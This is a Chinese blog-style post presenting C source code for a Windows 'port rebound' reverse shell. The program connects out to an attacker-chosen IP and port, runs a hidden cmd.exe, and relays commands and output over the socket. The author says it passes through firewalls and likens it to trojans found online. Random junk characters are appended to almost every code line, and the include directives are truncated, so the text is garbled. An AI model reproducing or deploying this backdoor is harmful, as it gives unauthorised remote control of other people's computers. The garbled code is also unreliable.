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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VVZ'i.*_3?  
4*L_)z&4;  
/* ============================== x2EUr,7  
Rebound port in Windows NT F [M,]?   
By wind,2006/7 K9[UB  
===============================*/ s iaG'%@*r  
#include Gt1U!dP  
#include PCvWS.{  
! if   
#pragma comment(lib,"wsock32.lib") <%d>v-=B  
b}f~il  
void OutputShell(); }C:r 9? T  
SOCKET sClient; :/#rZPPF  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q8NX)R  
XX@ZQcN  
void main(int argc,char **argv) Ri{=]$  
{ KXy6Eno  
WSADATA stWsaData; yfSmDPh  
int nRet; eDMO]5}Ht  
SOCKADDR_IN stSaiClient,stSaiServer; 2iOV/=+  
|=w@H]r  
if(argc != 3) -@s#uA h  
{ BLttb  
printf("Useage:\n\rRebound DestIP DestPort\n"); R5D1w+  
return; XUYtEf  
} pkzaNY/q  
x4 yR8n(  
WSAStartup(MAKEWORD(2,2),&stWsaData); pb}*\/s  
\bcLiKE{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KwS@D9bok  
tc! #wd+u  
stSaiClient.sin_family = AF_INET; uYN`:b8  
stSaiClient.sin_port = htons(0); WLT"ji0w2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Tx D#9]Q`  
2 nCA<&  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $]d^-{|  
{ E fDH6  
printf("Bind Socket Failed!\n"); 6 N4~~O  
return; /7kC<  
} $I=~S[p  
29Ki uP  
stSaiServer.sin_family = AF_INET; fex@,I&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f8~_E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W4S,6(  
<YY14p  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >Ry01G]_/h  
{ $mILoy B,  
printf("Connect Error!"); !zo{tI19  
return; ! mHO$bQ"  
} CrLrw T  
OutputShell(); 5+'<R8{:,  
} GJrG~T  
C_Dn{  
void OutputShell() ;+%rw2Z,B  
{ r&CiSMS*  
char szBuff[1024]; t0S 1QC+  
SECURITY_ATTRIBUTES stSecurityAttributes; uFE)17E  
OSVERSIONINFO stOsversionInfo; z_HdISy0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y7|EIAU5Y  
STARTUPINFO stStartupInfo; w{KavU5W  
char *szShell; Hka2  
PROCESS_INFORMATION stProcessInformation; L,\Iasv  
unsigned long lBytesRead; \hXDO_U  
I,tud!p`  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); { FkF  
^W ^OfY  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /wp6KXm  
stSecurityAttributes.lpSecurityDescriptor = 0; `3pW]&  
stSecurityAttributes.bInheritHandle = TRUE; 'DR!9De  
eFgA 8kY)  
^[[P*NX3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;u JMG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7! Nsm  
Tk}]Gev  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #"!<W0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TH;hO).u  
stStartupInfo.wShowWindow = SW_HIDE; TOt dUO  
stStartupInfo.hStdInput = hReadPipe; & 21%zPm  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ZVBXx\{s  
L0,'mS  
GetVersionEx(&stOsversionInfo); ]gOy(\B  
COlqcq'qAu  
switch(stOsversionInfo.dwPlatformId) *@5@,=d  
{ ll^#JpT[S  
case 1: <I?Zk80  
szShell = "command.com"; -RwE%  cr  
break; 1zv'.uu.,  
default: c{|p.hd  
szShell = "cmd.exe"; $FVNCFN%  
break; ]^E?;1$f?  
} la!~\wpa  
:TbgFQ86~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lxx2H1([  
RZLq]8pM  
send(sClient,szMsg,77,0); FrS]|=LJhX  
while(1) vXs"Dst  
{ tmq OJ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?s01@f#  
if(lBytesRead) [,Gg^*umS  
{ `yyG/l  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6x`t{g]f,  
send(sClient,szBuff,lBytesRead,0); K+eM   
} [0!(xp^  
else 01]f2.5  
{ Z@HEj_n  
lBytesRead=recv(sClient,szBuff,1024,0); [txE .7p  
if(lBytesRead<=0) break; j#|ZP-=1_  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vh^VxS  
} q9"96({\@  
} @d'j zs  
e'~3oqSvR  
return; zhQJy?>'m  
}
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